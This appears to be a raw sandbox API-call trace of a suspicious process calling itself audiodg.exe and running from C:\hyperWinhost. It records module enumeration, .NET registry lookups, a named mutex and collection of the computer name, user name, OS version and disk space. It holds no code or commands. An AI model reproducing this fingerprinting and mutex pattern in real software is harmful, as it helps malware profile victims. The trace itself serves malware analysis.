GetModuleInformation (in: hProcess=0x298, hModule=0x830000, lpmodinfo=0x22c0e00, cb=0x18 | out: lpmodinfo=0x22c0e00*(lpBaseOfDll=0x830000, SizeOfImage=0xd8000, EntryPoint=0x8ff1ee)) returned 1 [0104.894] CoTaskMemAlloc (cb=0x804) returned 0x1a6febd0 [0104.894] GetModuleBaseNameW (in: hProcess=0x298, hModule=0x830000, lpBaseName=0x1a6febd0, nSize=0x800 | out: lpBaseName="audiodg.exe") returned 0xb [0104.895] CoTaskMemFree (pv=0x1a6febd0) [0104.896] CoTaskMemAlloc (cb=0x804) returned 0x1a6febd0 [0104.896] GetModuleFileNameExW (in: hProcess=0x298, hModule=0x830000, lpFilename=0x1a6febd0, nSize=0x800 | out: lpFilename="C:\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe")) returned 0x1b [0104.896] CoTaskMemFree (pv=0x1a6febd0) [0104.897] CloseHandle (hObject=0x298) returned 1 [0104.899] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\audiodg.exe", nBufferLength=0x105, lpBuffer=0x1b19dc50, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\audiodg.exe", lpFilePart=0x0) returned 0x1b [0104.900] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e108 | out: phkResult=0x1b19e108*=0x0) returned 0x2 [0104.900] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e108 | out: phkResult=0x1b19e108*=0x298) returned 0x0 [0104.900] RegQueryValueExW (in: hKey=0x298, lpValueName="UseHttpPipeliningAndBufferPooling", lpReserved=0x0, lpType=0x1b19e148, lpData=0x0, lpcbData=0x1b19e140*=0x0 | out: lpType=0x1b19e148*=0x0, lpData=0x0, lpcbData=0x1b19e140*=0x0) returned 0x2 [0104.900] RegCloseKey (hKey=0x298) returned 0x0 [0104.901] GetCurrentProcessId () returned 0xd58 [0104.901] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd58) returned 0x298 [0104.902] EnumProcessModules (in: hProcess=0x298, lphModule=0x22c3ad8, cb=0x200, lpcbNeeded=0x1b19e130 | out: lphModule=0x22c3ad8, lpcbNeeded=0x1b19e130) returned 1 [0104.903] GetModuleInformation (in: hProcess=0x298, hModule=0x830000, lpmodinfo=0x22c3d48, cb=0x18 | out: lpmodinfo=0x22c3d48*(lpBaseOfDll=0x830000, SizeOfImage=0xd8000, EntryPoint=0x8ff1ee)) returned 1 [0104.903] CoTaskMemAlloc (cb=0x804) returned 0x1a6febd0 [0104.903] GetModuleBaseNameW (in: hProcess=0x298, hModule=0x830000, lpBaseName=0x1a6febd0, nSize=0x800 | out: lpBaseName="audiodg.exe") returned 0xb [0104.903] CoTaskMemFree (pv=0x1a6febd0) [0104.904] CoTaskMemAlloc (cb=0x804) returned 0x1a6febd0 [0104.904] GetModuleFileNameExW (in: hProcess=0x298, hModule=0x830000, lpFilename=0x1a6febd0, nSize=0x800 | out: lpFilename="C:\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe")) returned 0x1b [0104.904] CoTaskMemFree (pv=0x1a6febd0) [0104.904] CloseHandle (hObject=0x298) returned 1 [0104.904] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\audiodg.exe", nBufferLength=0x105, lpBuffer=0x1b19dc50, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\audiodg.exe", lpFilePart=0x0) returned 0x1b [0104.905] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseSafeSynchronousClose", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e108 | out: phkResult=0x1b19e108*=0x0) returned 0x2 [0104.905] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e108 | out: phkResult=0x1b19e108*=0x298) returned 0x0 [0104.905] RegQueryValueExW (in: hKey=0x298, lpValueName="UseSafeSynchronousClose", lpReserved=0x0, lpType=0x1b19e148, lpData=0x0, lpcbData=0x1b19e140*=0x0 | out: lpType=0x1b19e148*=0x0, lpData=0x0, lpcbData=0x1b19e140*=0x0) returned 0x2 [0104.905] RegCloseKey (hKey=0x298) returned 0x0 [0104.906] GetCurrentProcessId () returned 0xd58 [0104.906] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd58) returned 0x298 [0104.906] EnumProcessModules (in: hProcess=0x298, lphModule=0x22c6a50, cb=0x200, lpcbNeeded=0x1b19e130 | out: lphModule=0x22c6a50, lpcbNeeded=0x1b19e130) returned 1 [0104.907] GetModuleInformation (in: hProcess=0x298, hModule=0x830000, lpmodinfo=0x22c6cc0, cb=0x18 | out: lpmodinfo=0x22c6cc0*(lpBaseOfDll=0x830000, SizeOfImage=0xd8000, EntryPoint=0x8ff1ee)) returned 1 [0104.907] CoTaskMemAlloc (cb=0x804) returned 0x1a6febd0 [0104.907] GetModuleBaseNameW (in: hProcess=0x298, hModule=0x830000, lpBaseName=0x1a6febd0, nSize=0x800 | out: lpBaseName="audiodg.exe") returned 0xb [0104.908] CoTaskMemFree (pv=0x1a6febd0) [0104.908] CoTaskMemAlloc (cb=0x804) returned 0x1a6febd0 [0104.908] GetModuleFileNameExW (in: hProcess=0x298, hModule=0x830000, lpFilename=0x1a6febd0, nSize=0x800 | out: lpFilename="C:\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe")) returned 0x1b [0104.909] CoTaskMemFree (pv=0x1a6febd0) [0104.909] CloseHandle (hObject=0x298) returned 1 [0104.909] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\audiodg.exe", nBufferLength=0x105, lpBuffer=0x1b19dc50, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\audiodg.exe", lpFilePart=0x0) returned 0x1b [0104.909] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e108 | out: phkResult=0x1b19e108*=0x0) returned 0x2 [0104.909] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e108 | out: phkResult=0x1b19e108*=0x298) returned 0x0 [0104.910] RegQueryValueExW (in: hKey=0x298, lpValueName="UseStrictRfcInterimResponseHandling", lpReserved=0x0, lpType=0x1b19e148, lpData=0x0, lpcbData=0x1b19e140*=0x0 | out: lpType=0x1b19e148*=0x0, lpData=0x0, lpcbData=0x1b19e140*=0x0) returned 0x2 [0104.910] RegCloseKey (hKey=0x298) returned 0x0 [0104.911] GetCurrentProcessId () returned 0xd58 [0104.911] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd58) returned 0x298 [0104.911] EnumProcessModules (in: hProcess=0x298, lphModule=0x22c9a38, cb=0x200, lpcbNeeded=0x1b19e130 | out: lphModule=0x22c9a38, lpcbNeeded=0x1b19e130) returned 1 [0104.912] GetModuleInformation (in: hProcess=0x298, hModule=0x830000, lpmodinfo=0x22c9ca8, cb=0x18 | out: lpmodinfo=0x22c9ca8*(lpBaseOfDll=0x830000, SizeOfImage=0xd8000, EntryPoint=0x8ff1ee)) returned 1 [0104.912] CoTaskMemAlloc (cb=0x804) returned 0x1a6febd0 [0104.912] GetModuleBaseNameW (in: hProcess=0x298, hModule=0x830000, lpBaseName=0x1a6febd0, nSize=0x800 | out: lpBaseName="audiodg.exe") returned 0xb [0104.912] CoTaskMemFree (pv=0x1a6febd0) [0104.912] CoTaskMemAlloc (cb=0x804) returned 0x1a6febd0 [0104.913] GetModuleFileNameExW (in: hProcess=0x298, hModule=0x830000, lpFilename=0x1a6febd0, nSize=0x800 | out: lpFilename="C:\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe")) returned 0x1b [0104.913] CoTaskMemFree (pv=0x1a6febd0) [0104.913] CloseHandle (hObject=0x298) returned 1 [0104.913] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\audiodg.exe", nBufferLength=0x105, lpBuffer=0x1b19dc50, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\audiodg.exe", lpFilePart=0x0) returned 0x1b [0104.914] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.AllowDangerousUnicodeDecompositions", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e108 | out: phkResult=0x1b19e108*=0x0) returned 0x2 [0104.914] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e108 | out: phkResult=0x1b19e108*=0x298) returned 0x0 [0104.914] RegQueryValueExW (in: hKey=0x298, lpValueName="AllowDangerousUnicodeDecompositions", lpReserved=0x0, lpType=0x1b19e148, lpData=0x0, lpcbData=0x1b19e140*=0x0 | out: lpType=0x1b19e148*=0x0, lpData=0x0, lpcbData=0x1b19e140*=0x0) returned 0x2 [0104.914] RegCloseKey (hKey=0x298) returned 0x0 [0104.915] GetCurrentProcessId () returned 0xd58 [0104.915] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd58) returned 0x298 [0104.915] EnumProcessModules (in: hProcess=0x298, lphModule=0x22cc7f0, cb=0x200, lpcbNeeded=0x1b19e130 | out: lphModule=0x22cc7f0, lpcbNeeded=0x1b19e130) returned 1 [0104.916] GetModuleInformation (in: hProcess=0x298, hModule=0x830000, lpmodinfo=0x22cca60, cb=0x18 | out: lpmodinfo=0x22cca60*(lpBaseOfDll=0x830000, SizeOfImage=0xd8000, EntryPoint=0x8ff1ee)) returned 1 [0104.917] CoTaskMemAlloc (cb=0x804) returned 0x1a6febd0 [0104.917] GetModuleBaseNameW (in: hProcess=0x298, hModule=0x830000, lpBaseName=0x1a6febd0, nSize=0x800 | out: lpBaseName="audiodg.exe") returned 0xb [0104.917] CoTaskMemFree (pv=0x1a6febd0) [0104.917] CoTaskMemAlloc (cb=0x804) returned 0x1a6febd0 [0104.917] GetModuleFileNameExW (in: hProcess=0x298, hModule=0x830000, lpFilename=0x1a6febd0, nSize=0x800 | out: lpFilename="C:\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe")) returned 0x1b [0104.918] CoTaskMemFree (pv=0x1a6febd0) [0104.918] CloseHandle (hObject=0x298) returned 1 [0104.918] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\audiodg.exe", nBufferLength=0x105, lpBuffer=0x1b19dc50, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\audiodg.exe", lpFilePart=0x0) returned 0x1b [0104.919] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.UseStrictIPv6AddressParsing", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e108 | out: phkResult=0x1b19e108*=0x0) returned 0x2 [0104.919] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e108 | out: phkResult=0x1b19e108*=0x298) returned 0x0 [0104.919] RegQueryValueExW (in: hKey=0x298, lpValueName="UseStrictIPv6AddressParsing", lpReserved=0x0, lpType=0x1b19e148, lpData=0x0, lpcbData=0x1b19e140*=0x0 | out: lpType=0x1b19e148*=0x0, lpData=0x0, lpcbData=0x1b19e140*=0x0) returned 0x2 [0104.919] RegCloseKey (hKey=0x298) returned 0x0 [0104.920] GetCurrentProcessId () returned 0xd58 [0104.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd58) returned 0x298 [0104.920] EnumProcessModules (in: hProcess=0x298, lphModule=0x22cf578, cb=0x200, lpcbNeeded=0x1b19e130 | out: lphModule=0x22cf578, lpcbNeeded=0x1b19e130) returned 1 [0104.921] GetModuleInformation (in: hProcess=0x298, hModule=0x830000, lpmodinfo=0x22cf7e8, cb=0x18 | out: lpmodinfo=0x22cf7e8*(lpBaseOfDll=0x830000, SizeOfImage=0xd8000, EntryPoint=0x8ff1ee)) returned 1 [0104.922] CoTaskMemAlloc (cb=0x804) returned 0x1a6febd0 [0104.922] GetModuleBaseNameW (in: hProcess=0x298, hModule=0x830000, lpBaseName=0x1a6febd0, nSize=0x800 | out: lpBaseName="audiodg.exe") returned 0xb [0104.922] CoTaskMemFree (pv=0x1a6febd0) [0104.922] CoTaskMemAlloc (cb=0x804) returned 0x1a6febd0 [0104.922] GetModuleFileNameExW (in: hProcess=0x298, hModule=0x830000, lpFilename=0x1a6febd0, nSize=0x800 | out: lpFilename="C:\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe")) returned 0x1b [0104.922] CoTaskMemFree (pv=0x1a6febd0) [0104.922] CloseHandle (hObject=0x298) returned 1 [0104.923] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\audiodg.exe", nBufferLength=0x105, lpBuffer=0x1b19dc50, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\audiodg.exe", lpFilePart=0x0) returned 0x1b [0104.923] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Uri.AllowAllUriEncodingExpansion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e108 | out: phkResult=0x1b19e108*=0x0) returned 0x2 [0104.923] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e108 | out: phkResult=0x1b19e108*=0x298) returned 0x0 [0104.924] RegQueryValueExW (in: hKey=0x298, lpValueName="AllowAllUriEncodingExpansion", lpReserved=0x0, lpType=0x1b19e148, lpData=0x0, lpcbData=0x1b19e140*=0x0 | out: lpType=0x1b19e148*=0x0, lpData=0x0, lpcbData=0x1b19e140*=0x0) returned 0x2 [0104.924] RegCloseKey (hKey=0x298) returned 0x0 [0104.925] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e0f8 | out: phkResult=0x1b19e0f8*=0x298) returned 0x0 [0104.925] RegQueryValueExW (in: hKey=0x298, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x1b19e138, lpData=0x0, lpcbData=0x1b19e130*=0x0 | out: lpType=0x1b19e138*=0x0, lpData=0x0, lpcbData=0x1b19e130*=0x0) returned 0x2 [0104.925] RegCloseKey (hKey=0x298) returned 0x0 [0104.926] GetCurrentProcessId () returned 0xd58 [0104.927] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd58) returned 0x298 [0104.927] EnumProcessModules (in: hProcess=0x298, lphModule=0x22d26f8, cb=0x200, lpcbNeeded=0x1b19e120 | out: lphModule=0x22d26f8, lpcbNeeded=0x1b19e120) returned 1 [0104.928] GetModuleInformation (in: hProcess=0x298, hModule=0x830000, lpmodinfo=0x22d2968, cb=0x18 | out: lpmodinfo=0x22d2968*(lpBaseOfDll=0x830000, SizeOfImage=0xd8000, EntryPoint=0x8ff1ee)) returned 1 [0104.928] CoTaskMemAlloc (cb=0x804) returned 0x1a6febd0 [0104.928] GetModuleBaseNameW (in: hProcess=0x298, hModule=0x830000, lpBaseName=0x1a6febd0, nSize=0x800 | out: lpBaseName="audiodg.exe") returned 0xb [0104.928] CoTaskMemFree (pv=0x1a6febd0) [0104.928] CoTaskMemAlloc (cb=0x804) returned 0x1a6febd0 [0104.928] GetModuleFileNameExW (in: hProcess=0x298, hModule=0x830000, lpFilename=0x1a6febd0, nSize=0x800 | out: lpFilename="C:\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe")) returned 0x1b [0104.929] CoTaskMemFree (pv=0x1a6febd0) [0104.929] CloseHandle (hObject=0x298) returned 1 [0104.929] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\audiodg.exe", nBufferLength=0x105, lpBuffer=0x1b19dc40, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\audiodg.exe", lpFilePart=0x0) returned 0x1b [0104.929] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.SchSendAuxRecord", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e0f8 | out: phkResult=0x1b19e0f8*=0x0) returned 0x2 [0104.930] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e0f8 | out: phkResult=0x1b19e0f8*=0x298) returned 0x0 [0104.930] RegQueryValueExW (in: hKey=0x298, lpValueName="SchSendAuxRecord", lpReserved=0x0, lpType=0x1b19e138, lpData=0x0, lpcbData=0x1b19e130*=0x0 | out: lpType=0x1b19e138*=0x0, lpData=0x0, lpcbData=0x1b19e130*=0x0) returned 0x2 [0104.930] RegCloseKey (hKey=0x298) returned 0x0 [0104.931] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e0f8 | out: phkResult=0x1b19e0f8*=0x298) returned 0x0 [0104.931] RegQueryValueExW (in: hKey=0x298, lpValueName="SystemDefaultTlsVersions", lpReserved=0x0, lpType=0x1b19e138, lpData=0x0, lpcbData=0x1b19e130*=0x0 | out: lpType=0x1b19e138*=0x0, lpData=0x0, lpcbData=0x1b19e130*=0x0) returned 0x2 [0104.931] RegCloseKey (hKey=0x298) returned 0x0 [0104.932] GetCurrentProcessId () returned 0xd58 [0104.933] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd58) returned 0x298 [0104.933] EnumProcessModules (in: hProcess=0x298, lphModule=0x22d5938, cb=0x200, lpcbNeeded=0x1b19e120 | out: lphModule=0x22d5938, lpcbNeeded=0x1b19e120) returned 1 [0104.934] GetModuleInformation (in: hProcess=0x298, hModule=0x830000, lpmodinfo=0x22d5ba8, cb=0x18 | out: lpmodinfo=0x22d5ba8*(lpBaseOfDll=0x830000, SizeOfImage=0xd8000, EntryPoint=0x8ff1ee)) returned 1 [0104.934] CoTaskMemAlloc (cb=0x804) returned 0x1a6febd0 [0104.934] GetModuleBaseNameW (in: hProcess=0x298, hModule=0x830000, lpBaseName=0x1a6febd0, nSize=0x800 | out: lpBaseName="audiodg.exe") returned 0xb [0104.934] CoTaskMemFree (pv=0x1a6febd0) [0104.934] CoTaskMemAlloc (cb=0x804) returned 0x1a6febd0 [0104.934] GetModuleFileNameExW (in: hProcess=0x298, hModule=0x830000, lpFilename=0x1a6febd0, nSize=0x800 | out: lpFilename="C:\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe")) returned 0x1b [0104.935] CoTaskMemFree (pv=0x1a6febd0) [0104.935] CloseHandle (hObject=0x298) returned 1 [0104.935] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\audiodg.exe", nBufferLength=0x105, lpBuffer=0x1b19dc40, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\audiodg.exe", lpFilePart=0x0) returned 0x1b [0104.936] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.RequireCertificateEKUs", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e0f8 | out: phkResult=0x1b19e0f8*=0x0) returned 0x2 [0104.936] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e0f8 | out: phkResult=0x1b19e0f8*=0x298) returned 0x0 [0104.936] RegQueryValueExW (in: hKey=0x298, lpValueName="RequireCertificateEKUs", lpReserved=0x0, lpType=0x1b19e138, lpData=0x0, lpcbData=0x1b19e130*=0x0 | out: lpType=0x1b19e138*=0x0, lpData=0x0, lpcbData=0x1b19e130*=0x0) returned 0x2 [0104.936] RegCloseKey (hKey=0x298) returned 0x0 [0105.201] CoTaskMemAlloc (cb=0x20c) returned 0x1a6dc5e0 [0105.201] GetSystemDirectoryW (in: lpBuffer=0x1a6dc5e0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0105.201] CoTaskMemFree (pv=0x1a6dc5e0) [0105.204] GetComputerNameW (in: lpBuffer=0x1b19c9d0, nSize=0x1b19ccf8 | out: lpBuffer="Q9IATRKPRH", nSize=0x1b19ccf8) returned 1 [0105.226] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20219, phkResult=0x1b19b708 | out: phkResult=0x1b19b708*=0x1f4) returned 0x0 [0105.228] RegQueryValueExW (in: hKey=0x1f4, lpValueName="ProductName", lpReserved=0x0, lpType=0x1b19b758, lpData=0x0, lpcbData=0x1b19b750*=0x0 | out: lpType=0x1b19b758*=0x1, lpData=0x0, lpcbData=0x1b19b750*=0x2e) returned 0x0 [0105.228] RegQueryValueExW (in: hKey=0x1f4, lpValueName="ProductName", lpReserved=0x0, lpType=0x1b19b758, lpData=0x22d95f8, lpcbData=0x1b19b750*=0x2e | out: lpType=0x1b19b758*=0x1, lpData="Windows 7 Professional", lpcbData=0x1b19b750*=0x2e) returned 0x0 [0105.243] RegCloseKey (hKey=0x1f4) returned 0x0 [0105.253] CoTaskMemAlloc (cb=0x20c) returned 0x1a6dc5e0 [0105.253] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x1a6dc5e0 | out: pszPath="C:\\Users\\kEecfMwgj") returned 0x0 [0105.254] CoTaskMemFree (pv=0x1a6dc5e0) [0105.254] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x105, lpBuffer=0x1b19c680, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0105.255] CoTaskMemAlloc (cb=0x20c) returned 0x1a6dc5e0 [0105.255] GetSystemDirectoryW (in: lpBuffer=0x1a6dc5e0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0105.256] CoTaskMemFree (pv=0x1a6dc5e0) [0105.258] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1b19c6d0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0105.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b19cd38) returned 1 [0105.259] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\", lpFreeBytesAvailableToCaller=0x1b19cda8, lpTotalNumberOfBytes=0x1b19cda0, lpTotalNumberOfFreeBytes=0x1b19cd98 | out: lpFreeBytesAvailableToCaller=0x1b19cda8, lpTotalNumberOfBytes=0x1b19cda0, lpTotalNumberOfFreeBytes=0x1b19cd98) returned 1 [0105.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b19cce8) returned 1 [0105.417] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full", ulOptions=0x0, samDesired=0x20219, phkResult=0x1b19ca48 | out: phkResult=0x1b19ca48*=0x1f4) returned 0x0 [0105.419] RegQueryValueExW (in: hKey=0x1f4, lpValueName="Release", lpReserved=0x0, lpType=0x1b19ca98, lpData=0x0, lpcbData=0x1b19ca90*=0x0 | out: lpType=0x1b19ca98*=0x4, lpData=0x0, lpcbData=0x1b19ca90*=0x4) returned 0x0 [0105.419] RegQueryValueExW (in: hKey=0x1f4, lpValueName="Release", lpReserved=0x0, lpType=0x1b19ca98, lpData=0x1b19ca78, lpcbData=0x1b19ca90*=0x4 | out: lpType=0x1b19ca98*=0x4, lpData=0x1b19ca78*=0x80eb1, lpcbData=0x1b19ca90*=0x4) returned 0x0 [0105.420] RegQueryValueExW (in: hKey=0x1f4, lpValueName="Release", lpReserved=0x0, lpType=0x1b19ca98, lpData=0x0, lpcbData=0x1b19ca90*=0x0 | out: lpType=0x1b19ca98*=0x4, lpData=0x0, lpcbData=0x1b19ca90*=0x4) returned 0x0 [0105.420] RegQueryValueExW (in: hKey=0x1f4, lpValueName="Release", lpReserved=0x0, lpType=0x1b19ca98, lpData=0x1b19ca78, lpcbData=0x1b19ca90*=0x4 | out: lpType=0x1b19ca98*=0x4, lpData=0x1b19ca78*=0x80eb1, lpcbData=0x1b19ca90*=0x4) returned 0x0 [0105.424] RegCloseKey (hKey=0x1f4) returned 0x0 [0105.455] GetComputerNameW (in: lpBuffer=0x1b19def0, nSize=0x1b19e218 | out: lpBuffer="Q9IATRKPRH", nSize=0x1b19e218) returned 1 [0105.458] GetUserNameW (in: lpBuffer=0x1b19df10, pcbBuffer=0x1b19e238 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1b19e238) returned 1 [0105.496] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="75f52185d2be5b258078466c8c05d43b3f8abfa1") returned 0x0 [0105.510] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=1, lpName="Local\\75f52185d2be5b258078466c8c05d43b3f8abfa1") returned 0x29c [0105.715] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200, lpName=0x0) returned 0x248 [0105.716] memcpy (in: _Dst=0x130000, _Src=0x22ed508, _Size=0x1200 | out: _Dst=0x130000) returned 0x130000 [0105.716] CloseHandle (hObject=0x248) returned 1 [0105.959] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12211a50, Length=0x20000, ResultLength=0x1b19ced0 | out: SystemInformation=0x12211a50, ResultLength=0x1b19ced0*=0x11ca0) returned 0x0 [0106.399] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\42af1c969fbb7b", nBufferLength=0x105, lpBuffer=0x1b19dc20, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\42af1c969fbb7b", lpFilePart=0x0) returned 0x1e [0106.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b19de38) returned 1 [0106.399] GetFileAttributesExW (in: lpFileName="C:\\hyperWinhost\\42af1c969fbb7b" (normalized: "c:\\hyperwinhost\\42af1c969fbb7b"), fInfoLevelId=0x0, lpFileInformation=0x1b19e160 | out: lpFileInformation=0x1b19e160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x523740e0, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x523740e0, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x523740e0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x155)) returned 1 [0106.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b19dde8) returned 1 [0107.922] GetACP () returned 0x4e4 [0108.001] GetCurrentProcess () returned 0xffffffffffffffff [0108.001] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19d868 | out: TokenHandle=0x1b19d868*=0x2b0) returned 1 [0108.007] CloseHandle (hObject=0x2b0) returned 1 [0108.007] GetCurrentProcess () returned 0xffffffffffffffff [0108.007] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19d8a8 | out: TokenHandle=0x1b19d8a8*=0x2b0) returned 1 [0108.008] CloseHandle (hObject=0x2b0) returned 1 [0108.016] GetCurrentProcess () returned 0xffffffffffffffff [0108.016] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19d828 | out: TokenHandle=0x1b19d828*=0x2b0) returned 1 [0108.021] CloseHandle (hObject=0x2b0) returned 1 [0108.021] GetCurrentProcess () returned 0xffffffffffffffff [0108.021] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19d868 | out: TokenHandle=0x1b19d868*=0x2b0) returned 1 [0108.022] CloseHandle (hObject=0x2b0) returned 1 [0108.036] QueryPerformanceFrequency (in: lpFrequency=0x7fe91ed9fb0 | out: lpFrequency=0x7fe91ed9fb0*=100000000) returned 1 [0108.036] QueryPerformanceCounter (in: lpPerformanceCount=0x1b19df98 | out: 